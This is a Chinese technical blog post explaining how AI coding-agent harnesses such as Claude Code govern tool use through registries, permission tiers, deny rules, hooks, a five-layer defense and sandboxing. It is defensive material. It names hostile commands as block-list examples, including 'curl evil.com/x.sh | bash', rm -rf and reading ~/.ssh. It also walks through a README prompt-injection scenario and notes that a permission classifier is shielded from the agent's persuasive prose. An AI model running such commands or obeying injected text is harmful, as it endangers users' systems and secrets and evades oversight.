在这里插入图片描述

前三篇我们走完了 harness 的"思维侧"——它是什么、agent loop 怎么循环、上下文怎么写选压隔。这一篇换一个方向:模型从大脑里伸出来的那只手

工具(tools)是模型与外部世界之间唯一的物理接口。模型本身不会读文件、不会跑 shell、不会发 HTTP 请求——它只能输出结构化的 tool_use 块;harness 拦截、校验、执行,再把结果写回上下文。这条"模型 → 结构化请求 → harness 校验 → 执行 → 回灌"的链路,是 agent 安全的根。Jailbreak 模型也突破不了 harness,原因正在这条链路的两端被切成两条独立 code path 的设计上。

本篇把这条链路彻底拆开来讲:从 function calling 的演化到 19 个内置工具的目录,从工具注册表(Tool Registry)的工程意义到三层权限管线,从 OpenDev 论文里那张被广泛引用的 5 层纵深防御图到 Bash 这个超级工具的 6 阶段执行管线,再到 MCP 协议、ToolSearch 懒加载和沙箱化。读完你应该能回答一个核心问题:为什么权限要在注册表里强制、而不是在 agent 代码里——以及为什么这件事是企业级 AI 平台"最高杠杆的一笔投资"

1. 从 function calling 到工具系统

2023 年 OpenAI 推出 function calling 的时候,“工具"还是一个非常轻量的概念:模型输出一段 JSON,宿主代码看到名字对得上就执行,结果回灌——一来一回,单次。彼时大多数应用是"chat + 几个 RAG 检索接口”,function calling 的设计也以此为原型。

但当 Anthropic、Cursor、Manus 这些团队真的把 agent 推进到生产线时,单次 function calling 这套抽象很快就不够用了。原因有三:

  1. 会话是持续的。一次任务跑 30 个 turn 是常态,工具不是一次性的"被填空"——它是 agent 的 action space。每一 turn,模型都要在所有可见工具里做一次决策:“此刻该调用谁”。
  2. 工具的边界要被强制。模型可能想 rm -rf /,可能想读 /etc/passwd,可能想把环境变量泄漏到外网。如果工具调用不被一个独立于模型的层拦截,安全就完全寄生在模型的"意愿"上——而模型的意愿可以被 prompt injection 改写。
  3. 工具要可发现、可复用、可审计。同一个 query_db 工具应当被多个 agent、多个 session 共享;每一次调用都该被同一套约束(rate limit、字段掩码、行数上限)拦下来;每一次调用都该落到同一个审计日志里。这件事在 chat-style 的 function calling 模型里几乎没法干净地做。

于是社区收敛出了一个更高层的抽象:工具系统(tool system)。它至少包含三件事:

  • 注册表(Registry):工具的元数据(名字、JSON Schema、所需权限、只读 vs 副作用、超时上限……)
  • 派发器(Dispatcher):把模型发出的 tool_use 路由到具体实现,并做参数校验
  • 策略层(Policy / Permission):在派发之前判断"这次调用允不允许、要不要弹窗"

这三件事抽出来,agent 才真正具备工程意义上的可治理性。Parallel.ai 一句话点题:模型生成 tool_use 块从不直接接触文件系统、shell 或网络;harness 是"hands and infrastructure",模型只是"the brain"。

工具就是模型的 action space——这一句话比任何技术细节都重要。模型决定"想做什么",harness 决定"能不能做"。两者越彻底地分开,越安全。

2. Claude Code 的 19 个内置工具

Claude Code 把内置工具收敛到了 19 个 permission-gated tools(社区扩展统计在 40 上下,含 LSP / 子代理 / 协调工具)。它们按用途分成 6 类,每一类都体现"为什么是它"——即模型在这一类需求下,最少需要哪几个原语。

2.1 19 工具一览表

类别 工具 一句话作用 为什么是它
文件 (File) Read 读取文件(含图像 / PDF / notebook) 唯一的"看代码"原语
Edit 字符串精确替换或 replace_all 比"重写整文件"更安全的局部修改
Write 整文件写入(覆盖) 仅用于新建或全量重写
搜索 (Search) Glob 路径模式匹配 不知道文件在哪时的入口
Grep 正则内容搜索 跨文件定位代码片段
执行 (Execution) Bash 任意 shell 命令(含后台) 工具中的工具,见 §6
Web WebSearch 搜索引擎检索 从开放 Web 拉信息
WebFetch 抓取 URL 并 markdown 化 一手资料抽取
发现 (Discovery) ToolSearch 按需加载工具 schema 把 MCP 工具池从"全量入 prompt"变"懒加载"
编排 (Orchestration) Agent / Task 派发子代理执行隔离子任务 第 5 篇主题
Skill 调用预制工作流 / 知识包 复用领域知识
AskUserQuestion 暂停推理、向人类提问 显式 human-in-the-loop
TodoWrite 维护可见的 todo 清单 长任务的"自我对话"载体
NotebookEdit 修改 Jupyter cell 数据科学场景特化
EnterWorktree / ExitWorktree 进入/退出 git worktree 多分支并行
Monitor / TaskStop 流式监控 / 终止任务 长任务可观测性

注:实际公开列表在不同版本之间会有微调(例如 PlanKillShellBashOutput 等可能进出)。本表对齐到 Anthropic 官方文档当前的口径。

2.2 为什么是这 6 类、不是更细或更粗

这套分类的工程美学很强:每一类是一个"必需"的能力维度——

  • 文件三件套(Read/Edit/Write):覆盖所有文件级 IO。EditWrite 故意分开,是为了让模型在"我只想改一行"和"我想重写整个文件"之间显式表达意图。Edit 内部还强制 read-before-edit(见 §5 Layer 1),这是"看似冗余、实则关键"的设计。
  • 搜索两件套(Glob/Grep)Glob 是路径维度的,Grep 是内容维度的。两者都是只读、安全、可大并发——所以默认 auto-approved。
  • 执行只有 Bash:刻意不再加专用 gitnpmdocker 工具。理由见 §6——Bash 已经是图灵完备的"工具中的工具",再加只会增加 schema 体积、增加上下文压力。
  • Web 双工具:搜索(WebSearch)和抓取(WebFetch)显式分开,是因为它们的安全模型不同——搜索基本无副作用,抓取可能触发 SSRF、可能把内部 URL 暴露到外部。
  • 发现独立成类ToolSearch 看起来像"工具",但它的工程意义其实是 meta——它是 harness 自己用来动态扩张/收缩 action space 的入口。
  • 编排类最杂Agent 派子代理、Skill 注入工作流、AskUserQuestion 暂停推理、TodoWrite 写自我笔记。这一类的共性是"它们改变 agent 自己的状态"。

一个值得记住的判断标准:当你想加第 20 个工具时,先问"它能不能用 Bash + 已有工具拼出来?" 如果能,就别加。工具池每多一个,所有 agent 的 prompt 上下文里都多一段 schema——这是隐形成本。

3. 工具注册表(Tool Registry):企业级 AI 的最高杠杆投资

把 §1 提到的"注册表 / 派发器 / 策略层"沉淀成一个数据结构,就是 Tool Registry。Arize 和 DigitalApplied 在他们的 reference architecture 里几乎用同样的话讲过这件事:A versioned, permissioned, discoverable tool registry is the single highest-leverage investment。它的工程意义至少有四点:

(1) 单点强制(single enforcement point)。注册表在 dispatch 之前调用 Policy Engine——这意味着无论是哪个 agent、哪个 session、哪个版本的提示词在请求工具,都被同一段权限检查逻辑拦下。换句话说,权限是注册表强制的,不是 agent 代码强制的。这件事如果反过来——每个 agent 在自己代码里检查权限——一旦其中一个 agent 写错了,整个系统的安全模型就破了。

(2) 单点审计(single audit log)。所有工具调用——request、policy decision、response、latency、cost——都落到同一份结构化日志。Arize 那篇博客说:“this inversion is what makes policy auditable.” 没有这个 inversion,审计就要在 N 个 agent 里各自实现,运维基本不可能保证一致。

(3) 复用与版本化。同一份 query_postgres 工具,可以被代码 agent、报表 agent、客服 agent 复用——但每个 agent 看到的是同一个版本、同一组 rate limit、同一种字段掩码。如果某天要把它从 v1 升到 v2,注册表里改一处,所有调用方一起平移。

(4) 共享约束(shared constraints)。这是最常被低估的一条。即使 agent 已经有权限调用工具,每一次调用仍然受 per-call constraints 约束——rate limits、record-count caps、field-level masking。比如同一个 lookup_user 工具:内部 agent 看得到 SSN,对接外部的 agent 看到的是 hash 后的字段。这条规则不是写在每个 agent 的提示词里,而是写在注册表的 policy 里——模型完全不需要知道有这件事。

把这四件事合起来:工具注册表把"安全 / 合规 / 可观测"从 N 份分散实现压成 1 份集中实现。Arize 一句结论:

Without it, every new agent reinvents integrations and breaks existing ones.

这就是为什么这件事是"最高杠杆"——它的边际收益随 agent 数量超线性增长。10 个 agent 里有 1 份共享注册表,加第 11 个 agent 几乎是 free 的;10 个 agent 各自维护权限,加第 11 个 agent 是 11 份合规审查。

4. 三层权限管线

注册表是数据结构,权限管线是它跑起来的样子。Claude Code(以及对齐它的 OpenDev、Cursor、Aider)落地了一个三层权限管线——按风险递增。

4.1 Tier 1:auto-approved(纯只读)

ReadGlobGrepWebSearchWebFetch 这些是默认放行的。它们的特征是 无副作用:执行 100 次和执行 1 次的世界状态相同(除了上下文里多了一些 token)。所以让它们直接跑,没有任何安全损失。

工程上这件事有一个隐含好处:让简单的事保持简单。如果连 Read 都要弹窗,agent 上手成本会高到没人想用——而且很快用户就会无脑 yes 到所有弹窗,让"弹窗"这个机制本身失效。

4.2 Tier 2:prompt for confirmation(state-changing)

EditWriteBash 默认进入 Tier 2——它们改变世界状态,所以必须人工确认。但 Claude Code 在这里有一个非常精巧的设计:auto 模式下的分类器

Wavespeed 的 Claude Code Harness 拆解文 详细描述了这个机制:当用户切到 auto permission_mode 时,每次工具调用进来——不直接弹窗、也不直接放过——而是丢给一个独立的 Sonnet 4.6 实例做二次判断:“这个调用算不算危险?“如果分类器说"安全”,就放过;说"危险”,就升级到弹窗或拒绝。

这个分类器有一条"反常但关键"的设计原则:

It deliberately doesn’t see the agent’s prose output.
它故意不看 agent 的"自言自语"。

也就是说,分类器只看真正的工具调用本身——工具名、参数——而不看模型刚才输出的那段"我打算做 X,因为 Y"。为什么?因为如果分类器读模型的解释,模型(被 prompt injection 后)可以"sweet-talk"过分类器:“别担心,这只是个无害的清理脚本”——分类器一被措辞说服,就把恶意命令放过去了。

把分类器隔离在 prose 之外,attacker 想欺骗分类器的唯一办法是构造一个真的看起来无害的工具调用——而那条调用在 §5 还会被 Layer 4 的 dangerous pattern 检测拦一次。这是纵深防御的一个具体例子。

4.3 Tier 3:require approval / always deny(高风险)

最高一层是"必须人工批准"或"永远拒绝"。典型场景:

  • shell 命令的副作用不可预测(rm -rfcurl ... | shdd if=...
  • 跨工作目录的写操作(往 /etc~/.ssh/usr/local 写)
  • 可能的数据外泄(把环境变量 / token / 私钥 send 到外网)
  • 长时间不可逆的资源动作(docker system prunegit push --force

这一层的特征是 deny-first不在白名单里的,先拒绝。Dive into Claude Code 论文里把它总结成 deny-first with human escalation——默认拒绝,未识别的动作向人类升级,而不是默默通过。

4.4 6 种 permission_mode

用户可以在 6 种 permission_mode 之间切换,每一种对应一种风险偏好。下面这张表对齐到 Claude Code Agent SDK 当前的官方语义:

模式 行为 适用场景
default 未被 allow rule 覆盖的工具触发 approval callback;没有 callback 就拒绝 交互式开发、第一次跑陌生项目
acceptEdits 文件编辑和常见文件系统命令(mkdir/touch/mv/cp)自动批准;其它 Bash 命令仍按 default 走 已经信任的本地仓库,反复迭代
plan 不执行任何工具,只产出计划供 review 评审一个长任务的可行性
auto (TS) 用 Sonnet 分类器自动批准/拒绝 半监督的长任务跑批
dontAsk 永不弹窗。被 permission rule 预批的运行;其它一律 deny 后台 agent、CI
bypassPermissions 所有 allow tools 不经询问直接跑(root 下禁用) 容器、沙箱、隔离环境

这 6 种模式覆盖了从"事事确认"到"全部放行"的连续光谱。重点是:没有一种模式可以绕开 deny rule。bypassPermissions 也只是绕过 ask,deny 永远生效。

4.5 allow / ask / deny 的评估顺序:deny always wins

权限规则有三种:allowed_tools(白名单)、disallowed_tools(黑名单)、permission_mode(默认行为)。它们的评估顺序非常重要:

对每一次 tool call:
  1. 命中 deny rule?  →  直接拒绝(即使在 allow 列表里)
  2. 命中 allow rule? →  自动放行(除非 deny 命中)
  3. 既不在 allow、也不在 deny → 走 permission_mode 规则

deny always wins 是这套语义的安全锚。哪怕你不小心把 Bash(*) 加到了 allow——只要 deny 里写了 Bash(rm -rf *),那条永远跑不了。这是为了防止"权限规则被用户误配置后变成单点失效"。

工具规则还能做参数级 scoping:Bash(npm *) 只允许 npm 子命令、Edit(src/**/*.py) 只允许编辑 src 下的 Python。粒度落到参数,而不是工具名。

5. 纵深防御:5 层 defense-in-depth

权限管线只是 一层。OpenDev 论文 Building AI Coding Agents for the Terminal 里把整个安全架构总结成 5 层纵深防御(5-layer defense-in-depth)——任何一层失效,剩下 4 层都能兜住。

5.1 总览表

名字 拦截位置 典型机制 失效后果
L1 Prompt-level guardrails 模型之内 系统提示词里的强制规则(read-before-edit、git workflow、error recovery) 模型自己越权,但下游可拦
L2 Schema-level restrictions 模型可见性之外 plan-mode 白名单、子代理 allowlist、MCP 发现门控 模型看不到的工具就不会调
L3 Runtime approval 调用发出后、执行前 manual / semi-auto / auto 三档审批;persistent permissions attacker 仍要骗过审批
L4 Tool-level validation 进入工具实现 DANGEROUS_PATTERNS 黑名单、stale-read 检测、超时、输出截断 工具自己拒绝执行
L5 Lifecycle hooks 用户脚本拦截 PreToolUse / PostToolUse / UserPromptSubmit / Stop 用户自定义最后一道闸

每一层都是独立的代码路径——这是核心。

5.2 Layer 1:prompt-level

最里面一层在系统提示词里。Claude Code 的 system prompt 包含若干强制规则,最有名的是 read-before-edit:模型在 Edit 一个文件之前必须先 Read 它。这条规则有两个目的:

  1. 让模型对要改的代码有上下文,避免"瞎改"
  2. 配合 §5.5 的 stale-read 检测——Edit 工具会检查"你 Read 时和现在的内容是不是一致"

类似的还有:error recovery(失败时不要硬试三次以上)、git workflow(提交前跑测试)、security policy(不要把密钥写到 commit 信息)。

这一层的弱点:依赖模型听话。一旦 prompt injection 把模型说服了,这层立刻失效。所以它一定要被下面 4 层兜底。

5.3 Layer 2:schema-level

更外面一层是 根本不让模型看到。在 plan-mode 下,所有"写"工具都不在 tool schema 里——模型即使想调 Edit,输出的 tool_use 也会因为 unknown tool name 被驳回。这就是 plan-mode whitelist

类似的还有 per-subagent allowlist:一个 reviewer 子代理只配 Read/Grep/Glob,连 Bash 都没有;让它怎么 jailbreak 都跑不了任意命令。

MCP discovery gating 是 schema-level 的特例:MCP 工具不是默认全部加载,而是通过 ToolSearch 按需加——一个工具不被 search 出来,模型连它的存在都不知道。

这一层的弱点:一旦工具 schema 被错误地放进列表,攻击面就开了。但要做到这件事,需要 harness 配置层面的失误,不是模型层面能做到的。

5.4 Layer 3:runtime approval

这层就是 §4 讲的三 tier 权限管线 + auto 分类器。重点是它完全在 harness 里,模型对它没有可见性——模型不知道用户是不是在 dontAsk 模式、不知道哪些规则是 deny、不知道分类器会用什么标准判断。

这一层的弱点:用户疲劳。Anthropic 自己的研究数据:users approve ~93% of prompts——这意味着如果靠用户点 yes 来挡,约 93% 的恶意请求会被放过。所以 runtime approval 不能是唯一一层,必须配合 L1-L2 减少进入 L3 的请求量、配合 L4-L5 兜后续。

5.5 Layer 4:tool-level validation

进入工具的实现层,每个工具自己再做一次校验:

  • DANGEROUS_PATTERNS 检测(Bash):黑名单 rm -rf /> /dev/sdacurl ... | bashecho $SECRET,命中即拒绝
  • stale-read 检测(Edit):对比 Edit 时文件内容与上次 Read 时是否一致;不一致则强制重读,避免覆盖并发修改
  • 路径越界检测(Edit / Write):拒绝写到工作目录之外
  • 超时:所有工具都有上限(默认 Bash 2 分钟,最长 10 分钟),防止挂死
  • 输出截断:超长输出自动截断并提示,防止单次工具调用炸 context

这一层的弱点:黑名单永远不全。但它至少把"已知坏的"挡住,让攻击成本上升。

5.6 Layer 5:lifecycle hooks

最外面一层是用户自己的脚本。Hooks 通过 JSON stdin protocol 在工具执行前后被调用——可以阻断(exit code 2)、可以变形参数、可以审计。

下面是一段最常见的 settings.json 片段(节选自 aicodeinvest 的实践指南):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "command": "scripts/check-dangerous.sh \"$CLAUDE_TOOL_INPUT\""
      }
    ],
    "PostToolUse": [
      {
        "matcher": "Write|Edit",
        "command": "uv run ruff check --fix $CLAUDE_FILE_PATH 2>/dev/null || true"
      }
    ],
    "PreCompact": [
      {
        "command": "scripts/archive-transcript.sh"
      }
    ]
  },
  "permissions": {
    "allow": ["Read", "Glob", "Grep", "Bash(npm *)"],
    "deny":  ["Bash(rm -rf *)", "Bash(curl * | bash)", "Edit(/.ssh/**)"]
  }
}

注意上面这段:Bash(npm *) 是 allow,但 Bash(rm -rf *) 是 deny——即使 rm -rf * 在 allow 的 Bash(*) 范围内(如果你这么配过),deny 也会赢。

第 6 篇会专门讲 hooks 的实战 trick,这里不展开。

5.7 为什么 5 层独立至关重要

每一层都有自己的弱点(上文已列)——但没有一种攻击同时绕过所有 5 层。这是论文里那句"failure of any single layer does not compromise the remaining four"的含义。

举一个具体场景:用户在 README 里碰到了一段恶意 prompt injection,让模型执行 curl evil.com/x.sh | bash

  • L1 失效:模型被说服了
  • L2 还在:Bash 仍在 schema 里,所以模型可以发出调用
  • L3 拦截:runtime 看到一个未在 allow 里的 Bash 调用,弹窗给用户
  • L4 兜底:即使用户点了 yes,DANGEROUS_PATTERNS 命中 curl ... | bash,工具自身拒绝
  • L5 备份:用户的 PreToolUse hook 还可以再做一次自定义检查

只要 5 层中任意 1 层正确,攻击就失败。这就是纵深防御的力量。

6. Bash:工具中的工具

19 个工具里 Bash 是最特殊的——它图灵完备、副作用最大、攻击面最广,同时也是 agent 完成"开发任务"的核心。OpenDev 论文里把 Bash 的执行管线拆成了 6 个阶段

            ┌─────────────────────────────────────────┐
 model  ──→ │    Stage 1: Validation & Parsing        │ ──→ DANGEROUS_PATTERNS 黑名单
            └────────────────┬────────────────────────┘
                             │
            ┌────────────────▼────────────────────────┐
            │    Stage 2: Dry-Run                     │ ──→ shell parser 静态检查
            └────────────────┬────────────────────────┘
                             │
            ┌────────────────▼────────────────────────┐
            │    Stage 3: Server Detection            │ ──→ 把 server-like 命令改走后台
            └────────────────┬────────────────────────┘
                             │
            ┌────────────────▼────────────────────────┐
            │    Stage 4: Approval Gate               │ ──→ 三 tier 权限 + auto 分类器
            └────────────────┬────────────────────────┘
                             │
            ┌────────────────▼────────────────────────┐
            │    Stage 5: Execution                   │ ──→ 输出捕获、超时、流式
            └────────────────┬────────────────────────┘
                             │
            ┌────────────────▼────────────────────────┐
            │    Stage 6: Background Task Mgmt        │ ──→ list/get_process_output
            └─────────────────────────────────────────┘

每一阶段都值得讲一句:

  • Stage 1:Validation & Parsing。命令进来先过 DANGEROUS_PATTERNS 黑名单——不是简单 substring,而是 shell-aware 的解析,能识别 r''m -rf / 之类的简单 obfuscation 绕过。
  • Stage 2:Dry-Run。shell parser 静态分析命令——比如检查 redirection 目标在不在工作目录、subshell 里有没有可疑 pattern。这一步不真的执行,只是预审。
  • Stage 3:Server Detection。这是个非常巧妙的设计。如果命令是 python -m http.servernpm run devuvicorn app:main 这种会监听端口、永不返回的 server-like 命令,agent loop 就被堵死了——模型在等命令返回,而命令永远不会返回。Server Detection 通过模式匹配把这类命令自动改走后台执行,立即返回 PID 和状态,agent 继续干活。
  • Stage 4:Approval Gate。这里就是 §4 的三 tier 权限——如果命令在 allow 里就跑、在 deny 里就拒、否则走 permission_mode。persistent permissions 让用户批准一次"npm *"以后再也不会问。
  • Stage 5:Execution。捕获 stdout/stderr、强制超时、超长截断、流式回灌给模型。
  • Stage 6:Background Task Management。后台进程通过 list_processes / get_process_output 暴露给 agent,让模型可以在后台 server 跑着的同时跑测试、查日志、做编辑。

Bash 是"工具中的工具":很多需求与其加一个专用工具,不如让模型用 Bash 自己组装。比如"列出最近改过的 Python 文件"——不需要专门加一个 recent_python_files,让模型 find . -name '*.py' -mtime -1 就完了。这是 Anthropic 的设计哲学:优先用 Bash 拼凑、只在重复出现 5 次以上才上专用工具

代价是 Bash 的安全模型最复杂——所以它独享了 6 阶段管线。

7. MCP 协议与动态工具发现

如果说 19 个内置工具是 harness 的"原生 action space",那 MCP(Model Context Protocol) 就是"用户自带的扩展"。它是 Anthropic 在 2024 末推出、2025 全年快速演化的开放协议——任何外部服务(数据库、浏览器、API、内部系统)都能通过 MCP server 把自己暴露成工具。

7.1 三种 transport

MCP 支持三种传输方式,对应不同部署形态:

Transport 形态 适用场景
stdio 本机 subprocess 本地工具(postgres、filesystem、playwright)
HTTP 网络 endpoint 远程托管、跨机器
SSE (Server-Sent Events) 长连接流 服务端推送、长任务进度

stdio 最简单,subprocess 启动即用;HTTP 适合企业级共享 server;SSE 在流式更新场景下省一次往返。

7.2 为什么 MCP server 上限 ~5–6 个

每个 stdio MCP server 都是一个 subprocess,启动开销不小(典型 200ms–2s)。更关键的是,每个 server 把它所有工具的 schema 全部塞进 prompt——一个 server 暴露 30 个工具,就是 30 段 schema 永久占用 context。

Wavespeed 那篇文 给出的实践数字是 ~5–6 个 active MCP servers——再多就明显感到推理变慢、context 紧张。这是个软上限,但跨多个团队的实测都在这附近。

7.3 ToolSearch:懒加载救星

直接的解决思路是"按需加载"。Anthropic 的官方做法是把工具发现本身做成一个工具ToolSearch。它的工作流是:

session 启动
   │
   ▼
只把工具的"名字"塞进 prompt(每个工具仅占几十 token)
   │
   ▼
模型判断需要某个工具时,调 ToolSearch("query")
   │
   ▼
匹配到的工具的完整 schema 才被注入到下一 turn 的 context
   │
   ▼
后续 turn 模型可以直接调用这些工具

效果:原本要进 prompt 的 30 段 schema,变成 30 个名字(节省 ~95% 上下文压力);只在真正用得上时把 schema 拉进来。这是 §5.3 schema-level defense 的另一面——减少 attack surface,模型连工具的存在都不知道,就更不会被误导去调它。

ToolSearch 之所以重要,是因为它把"发现"本身变成 agent 可推理的对象。模型可以"我需要个搜数据库的工具"——而不是"在我已经被注入的 30 个工具里挑一个"。这把 action space 的扩张 也纳入了 agent loop 的循环中。

8. 沙箱化:从硬隔离到软沙箱

权限管线决定"允不允许",沙箱决定"即使发出去、能不能造成实际伤害"。两者互补

沙箱类型 实现 强度 代价
容器(hard isolation) Docker / Firecracker / gVisor 最强,进程级文件系统 + 网络隔离 启动慢、资源开销大
网络 allow-list iptables / pf / DNS 白名单 中等,只挡网络面 配置复杂
文件系统 chroot / namespace Linux user namespace 中等,只挡文件面 跨平台支持参差
能力限定(capabilities) cap_drop=ALL 强,但需要细致裁剪 容易裁过头让程序跑不起来

实践中常见组合是 容器(base layer)+ 网络白名单(per-agent)+ permission rules(per-tool)。这样模型即使被 jailbreak、harness 即使被绕过,最终能造成的物理伤害仍被沙箱挡在外面。

一个值得强调的点:沙箱不是替代权限管线,而是对它的兜底。容器化的 agent 仍然要配 deny rules——因为容器内部的破坏(删文件、刷 API quota、暴露密钥)仍然是真实损失。

9. 从权限看 harness 与模型的"分工"

把这 9 节缝起来,能得出本系列开头那个最尖锐的论断:

Reasoning 与 enforcement 切成两条独立 code path——模型决定"想做什么",harness 决定"能不能做"。

这一刀切下去,安全模型的形状彻底变了:

  • 模型生成 tool_use block,但不直接接触文件系统、shell、网络
  • harness 收到 block,过 §5 的 5 层防御
  • 任何一层 deny,都不会执行
  • 模型即使被 prompt injection、被 jailbreak、被 fine-tune 成恶意——它只能输出"想",输出不到"做"

这就是 Dive into Claude Code 那篇论文反复强调的核心论点:

Because reasoning and enforcement occupy separate code paths, a compromised or adversarially manipulated model cannot override the sandboxing, permission checks, or deny-first rules implemented in the harness.

这是为什么 jailbreak 模型也突破不了 harness 的 根本原因——不是因为 harness 的规则更聪明,而是因为它根本不在模型的影响范围之内

这条原则也解释了为什么"agent 安全 = harness 安全"——而不是"= 模型安全"。模型每代都更聪明,但每代也更容易被 prompt 工程操纵;如果安全寄生在模型上,每次发版都是赌博。把安全沉淀到 harness 里,模型可以随便换——v1 / v2 / v3 / v4 / v6 一路升级,harness 的 deny rules 一行不改、依然有效。

关键 takeaway

  1. 工具是模型的 action space——单次 function calling 已经被 19 工具 + 注册表 + 权限管线的"工具系统"全面替代。
  2. 权限在注册表强制、不在 agent 代码里——这是企业级 AI 平台最高杠杆的一笔投资,单点强制 + 单点审计 + 共享约束。
  3. 三 tier + 6 mode + deny-always-wins——allow / ask / deny 三种规则、6 种 permission_mode、deny 永远赢的语义构成了运行时审批的全部表达力。auto 模式下的分类器故意不看 agent 的 prose,是为了挡 prompt injection。
  4. 5 层纵深防御——prompt / schema / runtime / tool / hooks 五层独立,单点失效不会让系统失守。Bash 因为副作用最大,独享 6 阶段执行管线(含 server detection 和后台任务管理)。
  5. Reasoning 与 enforcement 两条 code path——模型决定"想做什么",harness 决定"能不能做"。这是 jailbreak 模型也突破不了 harness 的根本原因。

参考资料

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐